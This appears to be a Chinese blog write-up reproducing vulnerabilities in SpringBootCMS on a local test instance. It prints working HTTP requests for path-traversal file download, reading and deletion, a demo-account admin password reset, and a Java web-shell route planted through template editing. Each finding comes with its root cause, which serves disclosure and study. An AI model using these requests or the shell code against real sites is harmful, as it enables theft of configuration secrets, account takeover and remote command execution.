• SpringBootCms


    SpringBootCMS,极速开发,动态添加字段,自定义标签,动态创建数据库表并crud数据,数据库备份、还原,动态添加站点(多站点功能),一键生成模板代码,让您轻松打造自己的独立网站,同时也方便二次开发,让您快速搭建个性化独立网站,为您节约更多时间。

    http://www.jrecms.com/

    环境搭建

    修改 src/main/resources/application.properties 中对应的数据库地址,在本地创建数据库并导入根目录下的 sql 文件

    图片

    运行 src/main/java/com/cms/App.java

    图片

    漏洞复现分析

    未授权任意文件下载

    1. GET /common/file/download?fileKey=../../resources/application.properties HTTP/1.1
    2. Host: localhost:8888
    3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
    4. Accept*/*
    5. Sec-Fetch-Site: same-origin
    6. Sec-Fetch-Mode: no-cors
    7. Sec-Fetch-Dest: script
    8. Referer: http://localhost:8888/
    9. Accept-Encoding: gzip, deflate
    10. Accept-Language: zh-CN,zh;q=0.9
    11. Connection: close

    图片

    com.cms.controller.common.FileController#download

    图片

    通过传过来的参数 fileKey 未经过任何过滤就拼接到读取文件的路径中,最后读取该文件并下载返回

    越权修改管理员密码

    系统中存在演示账号,演示账号的用户名和密码为 read/123456,演示用户在前端并不能操作相关功能,但是可以通过直接构造数据包,触发相对应的功能

    1. POST /admin/admin/reset HTTP/1.1
    2. Host: localhost:8888
    3. Upgrade-Insecure-Requests: 1
    4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
    5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    6. Sec-Fetch-Site: same-origin
    7. Sec-Fetch-Mode: navigate
    8. Sec-Fetch-User: ?1
    9. Sec-Fetch-Dest: document
    10. Referer: http://localhost:8888/admin/role
    11. Accept-Encoding: gzip, deflate
    12. Accept-Language: zh-CN,zh;q=0.9
    13. Cookie: JSESSIONID=7CD6B69DCC495750492D0D89B4713A52
    14. Connection: close
    15. Content-Type: application/x-www-form-urlencoded
    16. Content-Length: 4
    17. id=1

    图片

    成功修改了管理员 admin 的密码,修改为 123456

    com.cms.controller.admin.AdminController#reset

    图片

    com.cms.filter.PermissionFilter#doFilter

    图片

    根本原因是没有将 reset 操作添加在过滤中,导致演示账号也可以执行重置密码的操作。

    其他的操作就会有相关的提示

    图片

    授权任意文件读取

    构造链接

    http://localhost:8888/admin/template/edit?directory=default/../../../resources/&fileName=application.properties

    图片

    图片

    com.cms.controller.admin.TemplateController#edit

    图片

    对传入的参数 directory 和 fileName 未进行任何处理就拼接到 filepath 中 读取并显示

    授权任意文件修改可 getshell

    查找其中不需要授权就可以访问到的路由对应的文件

    http://localhost:8888/admin/template/edit?fileName=../../../../src/main/java/com/cms/controller/common/FileController.java

    图片

    添加恶意代码,增加命令执行的路由文件

    1. @RequestMapping("/exec")
    2.     public void exec(String command,HttpServletRequest request, HttpServletResponse response) throws Exception{
    3.         // 执行命令并获取输出结果
    4.         ProcessBuilder processBuilder = new ProcessBuilder();
    5.         processBuilder.command("cmd""/c", command);
    6.         Process process = processBuilder.start();
    7.         // 读取命令输出的结果
    8.         String output = "";
    9.         BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
    10.         String line;
    11.         while ((line = inputReader.readLine()) != null) {
    12.             output +=line;
    13.         }
    14.         response.setHeader("Content",output);
    15.     }

    重启项目后,发送路由信息

    图片

    com.cms.controller.admin.TemplateController#update

    图片

    漏洞存在的原因是因为在更新代码的时候,没有对代码内容进行校验,可任意修改代码,写入恶意代码就会触发命令执行

    授权任意文件删除

    构造数据包

    1. GET /admin/database/delete?name=../../../../../test.txt HTTP/1.1
    2. Host: localhost:8888
    3. Cache-Control: max-age=0
    4. Upgrade-Insecure-Requests: 1
    5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
    6. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    7. Sec-Fetch-Site: none
    8. Sec-Fetch-Mode: navigate
    9. Sec-Fetch-User: ?1
    10. Sec-Fetch-Dest: document
    11. Accept-Encoding: gzip, deflate
    12. Accept-Language: zh-CN,zh;q=0.9
    13. Cookie: JSESSIONID=410D94FAA33FE9021AD6B0C3E842F9F9
    14. Connection: close

    图片

    com.cms.controller.admin.DatabaseController#delete

    图片

    com.cms.utils.BackupUtils#delete

    图片

    图片

  • 相关阅读:
    QT软件开发-基于FFMPEG设计视频播放器-支持流媒体地址播放(五)
    EtherCAT从站EEPROM分类附加信息详解:RXPDO(输入过程数据对象)
    【Learing from data】2.1.2 Bounding the Growth Function 第47页
    客户端自动化测试解决方案之鼠标&键盘操作
    qt中avcodec_find_decoder为null
    低代码技术研究路径解读|低代码的产生不是偶然,是数字技术发展的必然
    数学建模学习(81):群粒子算法求解最值(模板)
    基于树莓派CM4制作img系统镜像&批量制作TF卡
    Python3操作文件系列(二):文件数据读写|二进制数据读写
    uniapp H5页面调用微信支付
  • 原文地址:https://blog.csdn.net/YJ_12340/article/details/133795498